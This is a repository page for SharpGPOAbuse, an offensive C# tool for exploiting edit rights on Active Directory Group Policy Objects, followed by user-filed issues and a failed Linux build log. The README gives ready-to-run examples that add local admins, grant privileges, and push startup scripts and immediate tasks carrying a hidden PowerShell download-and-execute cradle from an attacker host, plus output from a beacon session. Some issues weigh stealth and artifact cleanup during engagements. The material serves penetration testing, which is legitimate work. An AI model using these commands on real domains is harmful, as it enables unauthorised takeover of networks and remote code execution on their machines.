fsecurelabs / sharpgpoabuse

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

SharpGPOAbuse

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

Compile Instructions

Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.

Usage

Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Attacks Types

Currently SharpGPOAbuse supports the following options:

Option	Description
--AddUserRights	Add rights to a user
--AddLocalAdmin	Add a user to the local admins group
--AddComputerScript	Add a new computer startup script
--AddUserScript	Configure a user logon script
--AddComputerTask	Configure a computer immediate task
--AddUserTask	Add an immediate task to a user

Attack Options

Adding User Rights

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task

Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
        
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Additional Options

Option	Description
--DomainController	Set the target domain controller
--Domain	Set the target domain
--Force	Overwrite existing files if required

Example Output

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

sharpgpoabuse's Issues

Enhancement: New GPO

Hi,

i wonder if its possible to add a new function for creating new GPOs. I recently found myself in a situation where the user had "Create-GPO" rights but i did not find any suitable tool to add a new GPO but only the Group Policy Management Console or Microsofts New-GPO Ps1-function.

Greetings

GPT.INI Write Lock

During testing, I have come across an issue with a very large domain of 60k machines, the GPT.INI file gets locked by a process not allowing the file to be written to. This doesn't allow the version number to be updated to match the attribute number updated in AD. An easy work around is to try this again in a few minutes or rename the the GPT.INI to GPT.INI.BAK and recreate it with the new version number. As a bonus I think it would be great to display in console the updated version number if manual changes are needed. I had to manually update the GPT.INI file and had to query AD to see what was the updated number was set in AD.

Application Update Ideas:

• If GPT.INI can not be written to, maybe loop for a minute and try again. If this still fails we could rename and create our own from a read copy of the original. We can also check permissions to see if we can do this. I have not looked at the code to see what is already done.
• Display the current version number in console, then display the updated version number that will be set. Instead of having to use SharpView to get this, we could just do it here.

Error 0xc00ce558 or 0x00ce557 - GPO permanently breaks

Hi,

This tool looks promising but during testing I encountered an error that simply breaks the targeted GPO rendering it unusable for me as a pentester and for my client. The broken GPO cannot even be deleted. This is as you understand really bad and as long as this is not fixed I cannot use your tool. pyGPOAbuse suffers from the same issue so to me it seems something has changed on the Windows Server side making both tools incompatible.

I whish I could write the specific scenario that triggers this but I have yet to find a pattern. It seems to happen more frequently when things go "wrong". For example when I forget to add the parameter "--force" or when I enter a GPO that does not exist or I do not have write access on. Just keep trying to execute various sheduled tasks and you will eventually get an error in your shell. Once you get that , access your DC and open Group Policy Management. In that, rightclick your targeted GPO and select "Edit...". Then expand "Preferences" under either "Computer Configuration" or "User configuration" depending on what object you are targeting. Finally leftclick "Control Panel Settings" and you will get the below error popup.

potential gPCMachineExtensionNames issue

In the code where you handle checking/adding gPCMachineExtensionNames GUIDs, you are likely going to have issues with the way you're handling that today. The GP client engine has specific expectations about how GUIDs are sorted/listed in that attribute in order for processing to actually work. All bracketed ([]) GUID pairs need to be sorted alphanumerically within the list. In addition, GP Preferences GUIDs require special treatment. The Zero GUID needs to be added to the attribute if there are no Preferences in that GPO yet, and then the 2nd GUID of a given GPP CSE pair needs to be appended to the Zero GUID, also alphanumerically. So, as an example: [{00000000-0000-0000-0000-000000000000}{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}][{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}][{5794DAFD-BE60-433F-88A2-1A31939AC01F}{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}] indicates that GPP Drive Maps and Admin Templates have been implemented in this GPO. Note that the 2nd GUID for GPP Drive Maps is tacked onto the end of the zero GUID and then the Admin Templates ({35378EA...) GUID pair comes next because it falls before the GPP Drive Maps GUID pair, alphanumerically.

Enhancement - Add Cleanup Option to remove the GPO Abuse Performed

Adding a cleanup parameter to all of the abuse methods will help the operator to perform cleanups on the exploited systems and reduces artifacts lying around on the remote system.

Enhancement: --Add Local Admin User Change

The way the admin user is added should be changed to create a group and add the user of choice into this group, then assigning the group to the local administrators.

I have only done testing around adding a user into an already created AD group, and then assigning that group to a GPO to gain access to domain controllers and servers. The current way is dangerous and will remove all previous users from the administrators group.

Using this option in an engagement is impossible due to the nature of being detected by removing admins from servers administrators group.

Building SharpGPOAbuse on Linux

Context

One may not want to install a Windows VM + install Visual Studio just to build a tool. So I tried to build SharpGPOAbuse exe with Mono, MSBuild, .NET SDk, and NuGet on Linux.

Prerequisites

On ArchLinux:

$ pacman -S mono-msbuild dotnet-sdk nuget
$ pikaur -S mono-git

Version

• mono 6.13.0
• msbuild 16.10.1.xamarinxplat.2021.05.26.14.00
• dotnet sdk 6.0.0.sdk100
• nuget 5.10.0

Build steps

$ git clone https://github.com/FSecureLABS/SharpGPOAbuse.git
$ cd SharpGPOAbuse
$ nuget restore
$ msbuild SharpGPOAbuse.sln
Microsoft (R) Build Engine version 16.10.1 for Mono
Copyright (C) Microsoft Corporation. All rights reserved.

Building the projects in this solution one at a time. To enable parallel build, please add the "-m" switch.
Build started 12/22/2021 5:34:00 PM.
Project "/tmp/SharpGPOAbuse/SharpGPOAbuse.sln" on node 1 (default targets).
ValidateSolutionConfiguration:
  Building solution configuration "Debug|Any CPU".
Project "/tmp/SharpGPOAbuse/SharpGPOAbuse.sln" (1) is building "/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj" (2) on node 1 (default targets).
PrepareForBuild:
  Creating directory "bin/Debug/".
  Creating directory "obj/Debug/".
ResolveAssemblyReferences:
  Primary reference "System.DirectoryServices.AccountManagement".
/usr/lib/mono/msbuild/Current/bin/Microsoft.Common.CurrentVersion.targets(2218,5): warning MSB3245: Could not resolve this reference. Could not locate the assembly "System.DirectoryServices.AccountManagement". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
          For SearchPath "{TargetFrameworkDirectory}".
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.5/System.DirectoryServices.AccountManagement.winmd", but it didn't exist.
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.5/System.DirectoryServices.AccountManagement.dll", but it didn't exist.
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.5/System.DirectoryServices.AccountManagement.exe", but it didn't exist.
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.0/System.DirectoryServices.AccountManagement.winmd", but it didn't exist.
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.0/System.DirectoryServices.AccountManagement.dll", but it didn't exist.
          Considered "/usr/lib/mono/xbuild-frameworks/.NETFramework/v3.0/System.DirectoryServices.AccountManagement.exe", but it didn't exist.
          Considered "/usr/lib/mono/2.0-api/System.DirectoryServices.AccountManagement.winmd", but it didn't exist.
          Considered "/usr/lib/mono/2.0-api/System.DirectoryServices.AccountManagement.dll", but it didn't exist.
          Considered "/usr/lib/mono/2.0-api/System.DirectoryServices.AccountManagement.exe", but it didn't exist.
          For SearchPath "{GAC}".
          Considered "System.DirectoryServices.AccountManagement", which was not found in the GAC.
          For SearchPath "{RawFileName}".
          Considered treating "System.DirectoryServices.AccountManagement" as a file name, but it didn't exist.
          For SearchPath "bin/Debug/".
          Considered "bin/Debug/System.DirectoryServices.AccountManagement.winmd", but it didn't exist.
          Considered "bin/Debug/System.DirectoryServices.AccountManagement.dll", but it didn't exist.
          Considered "bin/Debug/System.DirectoryServices.AccountManagement.exe", but it didn't exist.
CoreCompile:
  /usr/lib/mono/msbuild/Current/bin/Roslyn/csc.exe /noconfig /nowarn:1701,1702 /fullpaths /nostdlib+ /platform:AnyCPU /errorreport:prompt /warn:4 /define:DEBUG;TRACE /highentropyva- /reference:/tmp/SharpGPOAbuse/packages/CommandLineParser.1.9.3.15/lib/CommandLine.dll /reference:/usr/lib/mono/2.0-api/mscorlib.dll /reference:/usr/lib/mono/2.0-api/System.Core.dll /reference:/usr/lib/mono/2.0-api/System.Data.DataSetExtensions.dll /reference:/usr/lib/mono/2.0-api/System.Data.dll /reference:/usr/lib/mono/2.0-api/System.DirectoryServices.dll /reference:/usr/lib/mono/2.0-api/System.DirectoryServices.Protocols.dll /reference:/usr/lib/mono/2.0-api/System.dll /reference:/usr/lib/mono/2.0-api/System.Xml.dll /reference:/usr/lib/mono/2.0-api/System.Xml.Linq.dll /debug+ /debug:full /filealign:512 /optimize- /out:obj/Debug/SharpGPOAbuse.exe /target:exe /utf8output /deterministic+ /langversion:7.3 Program.cs Properties/AssemblyInfo.cs
  Using shared compilation with compiler from directory: /usr/lib/mono/msbuild/Current/bin/Roslyn
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,108): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,143): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(594,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(597,23): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(597,100): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,108): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,143): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(952,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(955,23): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
/tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(955,100): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
Done Building Project "/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj" (default targets) -- FAILED.
Done Building Project "/tmp/SharpGPOAbuse/SharpGPOAbuse.sln" (default targets) -- FAILED.

Build FAILED.

"/tmp/SharpGPOAbuse/SharpGPOAbuse.sln" (default target) (1) ->
"/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj" (default target) (2) ->
(ResolveAssemblyReferences target) ->
  /usr/lib/mono/msbuild/Current/bin/Microsoft.Common.CurrentVersion.targets(2218,5): warning MSB3245: Could not resolve this reference. Could not locate the assembly "System.DirectoryServices.AccountManagement". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]


"/tmp/SharpGPOAbuse/SharpGPOAbuse.sln" (default target) (1) ->
"/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj" (default target) (2) ->
(CoreCompile target) ->
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,108): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(593,143): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(594,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(597,23): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(597,100): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,108): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(951,143): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(952,38): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(955,23): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]
  /tmp/SharpGPOAbuse/SharpGPOAbuse/Program.cs(955,100): error CS0234: The type or namespace name 'AccountManagement' does not exist in the namespace 'System.DirectoryServices' (are you missing an assembly reference?) [/tmp/SharpGPOAbuse/SharpGPOAbuse/SharpGPOAbuse.csproj]

    1 Warning(s)
    12 Error(s)

Time Elapsed 00:00:01.26

Question

How to build SharpGPOAbuse exe from Linux?